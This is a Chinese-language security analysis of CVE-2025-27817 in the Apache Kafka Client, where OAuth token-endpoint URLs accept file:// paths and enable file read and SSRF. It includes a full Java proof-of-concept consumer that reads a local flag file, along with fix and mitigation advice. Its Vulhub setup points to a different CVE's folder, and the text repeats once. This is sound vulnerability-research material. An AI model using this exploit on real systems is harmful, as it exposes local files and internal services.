Apache Kafka Client 任意文件读取与SSRF 漏洞(CVE-2025-27817)分析
字数 1331 2025-08-30 06:50:11

Apache Kafka Client 任意文件读取与SSRF漏洞(CVE-2025-27817)分析报告

漏洞概述

Apache Kafka Client 2.3.0至3.9.0版本中存在一个安全漏洞(CVE-2025-27817),允许攻击者在控制Kafka Connect客户端的情况下,通过SASL JAAS配置和基于SASL的安全协议创建或修改连接器配置,利用特定参数(sasl.oauthbearer.token.endpoint.urlsasl.oauthbearer.jwks.endpoint.url)实现任意文件读取和SSRF(服务器端请求伪造)攻击。

影响范围

  • 受影响版本:2.3.0 <= Apache Kafka Client <= 3.9.0
  • 修复版本:3.9.1及以上版本

漏洞原理

背景知识

OAUTHBEARER是Kafka 2.0.0引入的SASL机制,用于实现基于OAuth 2.0协议的认证。其核心流程为:

  1. 客户端从OAuth 2.0授权服务器获取访问令牌(通常是JWT)
  2. 客户端将访问令牌发送给Kafka Broker
  3. Broker验证令牌的有效性(签名、过期时间等)

漏洞成因

在受影响版本中,Kafka客户端对token.endpoint.urljwks.endpoint.url参数的验证不足,允许攻击者指定file://协议URL,导致:

  1. 任意文件读取:当配置file://路径时,Kafka客户端会读取本地文件内容
  2. SSRF攻击:当配置HTTP/HTTPS URL时,可发起服务端请求

环境搭建

使用Vulhub快速部署

# 使用vulhub的docker环境(包含Kafka 3.3.1)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/kafka/CVE-2023-25194
docker-compose up -d

本地Maven项目调试

创建Maven项目,添加依赖:

<dependencies>
    <dependency>
        <groupId>org.apache.kafka</groupId>
        <artifactId>kafka-clients</artifactId>
        <version>3.9.0</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.17.1</version>
    </dependency>
</dependencies>

漏洞利用代码示例

package org.example;

import org.apache.kafka.clients.consumer.ConsumerConfig;
import org.apache.kafka.clients.consumer.ConsumerRecords;
import org.apache.kafka.clients.consumer.KafkaConsumer;
import org.apache.kafka.common.config.SaslConfigs;
import org.apache.kafka.common.serialization.IntegerDeserializer;
import org.apache.kafka.common.serialization.StringDeserializer;

import java.time.Duration;
import java.util.Collections;
import java.util.Properties;

public class MykafkaConsumer extends Thread {
    KafkaConsumer<Integer, String> consumer;
    String topic;

    public MykafkaConsumer(String topic) {
        Properties properties = new Properties();
        properties.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, "192.168.202.131:9092");
        properties.put(ConsumerConfig.CLIENT_ID_CONFIG, "my-consumer");
        properties.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, IntegerDeserializer.class.getName());
        properties.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class.getName());
        properties.put(ConsumerConfig.GROUP_ID_CONFIG, "my-gid");
        properties.put(ConsumerConfig.SESSION_TIMEOUT_MS_CONFIG, "30000");
        properties.put(ConsumerConfig.AUTO_COMMIT_INTERVAL_MS_CONFIG, "1000");
        properties.put(ConsumerConfig.AUTO_OFFSET_RESET_CONFIG, "earliest");

        // 漏洞利用关键配置
        properties.put("security.protocol", "SASL_SSL");
        properties.put("sasl.mechanism", "OAUTHBEARER");
        properties.put("sasl.login.callback.handler.class", "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler");
        
        // 设置file://协议URL触发文件读取
        properties.put("sasl.oauthbearer.token.endpoint.url", "file:///d:/flag.txt");
        
        // JAAS配置
        String jaasConfigValue = "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required " +
                "clientId=\"your-client-id\" " +
                "clientSecret=\"your-client-secret\" " +
                "scope=\"your-scope\" " +
                "tokenEndpointUrl=\"file:///d:/flag.txt\";";
        properties.put(SaslConfigs.SASL_JAAS_CONFIG, jaasConfigValue);

        consumer = new KafkaConsumer<>(properties);
        this.topic = topic;
    }

    public void run() {
        while (true) {
            consumer.subscribe(Collections.singleton(this.topic));
            ConsumerRecords<Integer, String> consumerRecords = consumer.poll(Duration.ofSeconds(1));
            consumerRecords.forEach(record -> System.out.println(record.key() + "->" +
                    record.value() + "->" + record.offset()));
        }
    }

    public static void main(String[] args) {
        new MykafkaConsumer("test").start();
    }
}

漏洞分析

关键代码差异

在3.9.1版本中,Apache Kafka增加了对SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL的合法性校验:

// AccessTokenRetrieverFactory.java
// 新版本增加了对URL的校验
return new FileTokenRetriever(cu.validateFile("sasl.oauthbearer.token.endpoint.url"));

攻击流程

  1. 攻击者配置file://协议的URL
  2. Kafka客户端尝试读取该文件内容作为OAuth令牌
  3. 由于文件内容不符合JWT格式,系统报错
  4. 错误信息中包含文件内容,导致信息泄露

调用链分析

  1. OAuthBearerLoginCallbackHandler处理登录请求
  2. 进入令牌验证流程
  3. 尝试读取token.endpoint.url指定的文件
  4. 文件内容被作为错误信息返回

修复方案

  1. 升级到Apache Kafka Client 3.9.1或更高版本
  2. 新版本中对token.endpoint.urljwks.endpoint.url参数增加了严格的URL验证
  3. 禁止使用file://等危险协议

防护建议

  1. 及时更新Kafka客户端到安全版本
  2. 限制Kafka Connect的配置修改权限
  3. 监控异常的文件读取和外部请求行为
  4. 在生产环境中谨慎使用SASL/OAUTHBEARER机制

总结

CVE-2025-27817漏洞利用Kafka客户端对SASL配置参数验证不足的问题,通过精心构造的URL实现任意文件读取和SSRF攻击。该漏洞影响范围广,危害严重,建议所有使用受影响版本的用户尽快升级修复。

Apache Kafka Client 任意文件读取与SSRF漏洞(CVE-2025-27817)分析报告 漏洞概述 Apache Kafka Client 2.3.0至3.9.0版本中存在一个安全漏洞(CVE-2025-27817),允许攻击者在控制Kafka Connect客户端的情况下,通过SASL JAAS配置和基于SASL的安全协议创建或修改连接器配置,利用特定参数( sasl.oauthbearer.token.endpoint.url 和 sasl.oauthbearer.jwks.endpoint.url )实现任意文件读取和SSRF(服务器端请求伪造)攻击。 影响范围 受影响版本:2.3.0 <= Apache Kafka Client <= 3.9.0 修复版本:3.9.1及以上版本 漏洞原理 背景知识 OAUTHBEARER是Kafka 2.0.0引入的SASL机制,用于实现基于OAuth 2.0协议的认证。其核心流程为: 客户端从OAuth 2.0授权服务器获取访问令牌(通常是JWT) 客户端将访问令牌发送给Kafka Broker Broker验证令牌的有效性(签名、过期时间等) 漏洞成因 在受影响版本中,Kafka客户端对 token.endpoint.url 和 jwks.endpoint.url 参数的验证不足,允许攻击者指定 file:// 协议URL,导致: 任意文件读取 :当配置 file:// 路径时,Kafka客户端会读取本地文件内容 SSRF攻击 :当配置HTTP/HTTPS URL时,可发起服务端请求 环境搭建 使用Vulhub快速部署 本地Maven项目调试 创建Maven项目,添加依赖: 漏洞利用代码示例 漏洞分析 关键代码差异 在3.9.1版本中,Apache Kafka增加了对 SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL 的合法性校验: 攻击流程 攻击者配置 file:// 协议的URL Kafka客户端尝试读取该文件内容作为OAuth令牌 由于文件内容不符合JWT格式,系统报错 错误信息中包含文件内容,导致信息泄露 调用链分析 OAuthBearerLoginCallbackHandler 处理登录请求 进入令牌验证流程 尝试读取 token.endpoint.url 指定的文件 文件内容被作为错误信息返回 修复方案 升级到Apache Kafka Client 3.9.1或更高版本 新版本中对 token.endpoint.url 和 jwks.endpoint.url 参数增加了严格的URL验证 禁止使用 file:// 等危险协议 防护建议 及时更新Kafka客户端到安全版本 限制Kafka Connect的配置修改权限 监控异常的文件读取和外部请求行为 在生产环境中谨慎使用SASL/OAUTHBEARER机制 总结 CVE-2025-27817漏洞利用Kafka客户端对SASL配置参数验证不足的问题,通过精心构造的URL实现任意文件读取和SSRF攻击。该漏洞影响范围广,危害严重,建议所有使用受影响版本的用户尽快升级修复。